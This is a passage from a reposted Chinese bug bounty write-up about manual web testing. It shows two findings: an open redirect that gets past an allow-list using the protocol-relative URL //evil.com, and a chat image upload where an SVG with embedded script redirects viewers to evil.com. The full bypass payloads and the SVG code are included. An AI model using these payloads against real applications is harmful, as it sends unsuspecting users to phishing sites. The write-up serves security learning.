文章总结： 本文记录了渗透测试员手动挖掘三个漏洞的实战过程。作者通过修改HTTP方法绕过权限获取通讯录，利用协议相对URL绕过白名单实现开放重定向，以及上传含脚本的SVG文件实现跳转。文章核心强调逻辑推理与手动测试的重要性，指出业务逻辑差异是自动化工具盲区，建议安全人员关注同源不同策的权限校验缺陷与文件上传内容校验。 综合评分： 88 文章分类： 渗透测试,实战经验,WEB安全,漏洞分析,SRC活动
file
这看起来是用来设置应用图标URL的。开放重定向 漏洞的经典场景：如果应用在重定向时，未严格校验目标URL是否属于自身域名，攻击者就能构造恶意链接，将用户导向钓鱼网站。
我开始了我的“绕WAF（如果存在）与逻辑校验”之旅：
- 直接替换：
https://evil.com→ 失败。服务器可能进行了简单的域名白名单校验。 - 尝试经典绕过payload：
https://[email protected]（利用@语法） → 失败。https://blablabla.com?evil.com（附加查询参数） → 失败。https://blablabla.com/evil.com（作为路径） → 失败。
- 思维转换：白名单校验很可能是在检查URL的“开头”部分。如果我让URL依然以可信域名 开头，但通过一种浏览器会以不同方式解析的格式呢？
- 决胜payload：
//evil.com
- 这是一个协议相对URL。当它在
href或重定向头中被使用时，浏览器会继承当前页面的协议（http:或https:），最终导向https://evil.com。 - 妙处在于，对于许多简单的字符串匹配或正则校验来说，
//evil.com并不会触发对“blablabla.com”的匹配失败，因为它看上去像是一个路径。但对于浏览器和网络栈，这就是一个完整的外部域名。
漏洞验证：
我将配置中的 APP_ICON 值改为 //evil.com。保存后，在应用中点击相关功能（如MCP代理连接点），观察浏览器状态栏或使用调试工具。成功！用户在点击后，被重定向到了 evil.com。
注意看，光标悬停时，浏览器左下角显示的目标链接已是
evil.com。
漏洞根源： 后端在重定向或加载外部资源时，对用户可控的URL参数采用了过于简单或存在缺陷的校验逻辑，未能识别出 // 开头的这种特殊格式，导致可以绕过白名单限制。
第三“洞”：伪装成图片的“传送门”（SVG导致的开放重定向）
目标概览 #3
第三个目标与第二个类似，也是协作类应用。这次我关注的是其团队聊天功能中的图片上传。
我尝试了常见的XSS（跨站脚本）payload，但应用似乎对HTML和脚本标签过滤得不错，没有成功。
思维转换：XSS不行，那开放重定向呢？有没有一种“图片”，既能通过图片格式校验，又能执行跳转逻辑？
答案就是：SVG（可缩放矢量图形）。SVG本质上是XML文本，可以被浏览器渲染为图像，但同时它可以内嵌JavaScript。
构造攻击Payload：
我创建了一个包含恶意脚本的SVG文件，将其伪装成一张简单的红色圆形图片：
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
// 当SVG被浏览器加载时，立即将页面重定向到恶意网站
window.location.replace("https://evil.com");
</script>
<circle cx="50" cy="50" r="40" fill="red" />
<text x="50" y="55" text-anchor="middle" fill="white">诱惑性文字，如“查看详情”</text>
</svg>
攻击过程：
- 在团队聊天中，以普通用户身份上传这个SVG文件作为“图片”。
- 服务器端可能只检查了文件扩展名（
.svg）或简单的MIME类型，没有对文件内容进行深入的恶意代码扫描，便将其存储并标记为可信任的用户生成图片。 - 当其他团队成员（受害者）打开聊天界面时，他们的浏览器会加载并渲染这张“图片”。
- SVG内的
<script>标签被执行，页面在用户毫无知觉的情况下被重定向至evil.com。
file
漏洞根源： 应用的文件上传功能存在 “内容与类型不匹配” 的安全缺陷。它允许上传SVG这种活跃内容格式，却没有在服务端或客户端对SVG文件内容进行 sanitization（净化处理），尤其没有剥离或禁用其中的 <script> 标签。同时，在展示用户上传的SVG时，可能没有使用 <img> 标签的 src 属性（这会阻止脚本执行），而是直接内嵌了SVG代码或使用了不安全的渲染方式。
狩猎成果与心得
通过这三场“纯手动”的狩猎，我成功地向相关安全团队报告了这些中高风险漏洞，并获得了认可与奖励。
最重要的一点心得，我想分享给所有安全研究员和开发者：
一个攻击向量或思路，在一个地方不成功，绝不意味着它本身是无效的。 现代应用架构复杂，不同功能模块可能由不同团队开发，安全控制策略不尽相同。在同一款应用中，你可能会发现：
- 主站登录有严格的二次验证，但移动API接口却遗漏了。
- 用户资料上传过滤了所有脚本，但文章评论的富文本编辑器却存在XSS。
- （正如我的案例）文档权限检查严密，但聊天API的权限校验却存在逻辑缺陷。
这种“同源不同策”的现象，正是手动、深度逻辑测试最能发挥价值的地方。 自动化扫描器擅长发现已知的、模式化的漏洞（如已经公开的SQLi payload），但对于需要理解业务上下文、串联多个功能点、利用逻辑瑕疵的漏洞，人类的推理能力和创造力仍然不可替代。
漏洞挖掘，很多时候不是工具的比拼，而是思维的较量。你需要像攻击者一样思考，提出“如果…会怎样？”的问题，并耐心地、有条理地去验证你的每一个假设。
保持好奇，保持怀疑，逻辑将为你指明通往漏洞的道路。
原文：https://medium.com/@0xMado-1Tap/how-i-got-3-bugs-no-automation-just-logic-65f372c664cd
- END –
感谢阅读，如果觉得还不错的话，动动手指给个三连吧～
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：骨哥说事 骨哥说事 骨哥说事《手无寸铁，智取三“洞”：一个渗透测试员的手动狩猎纪实》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论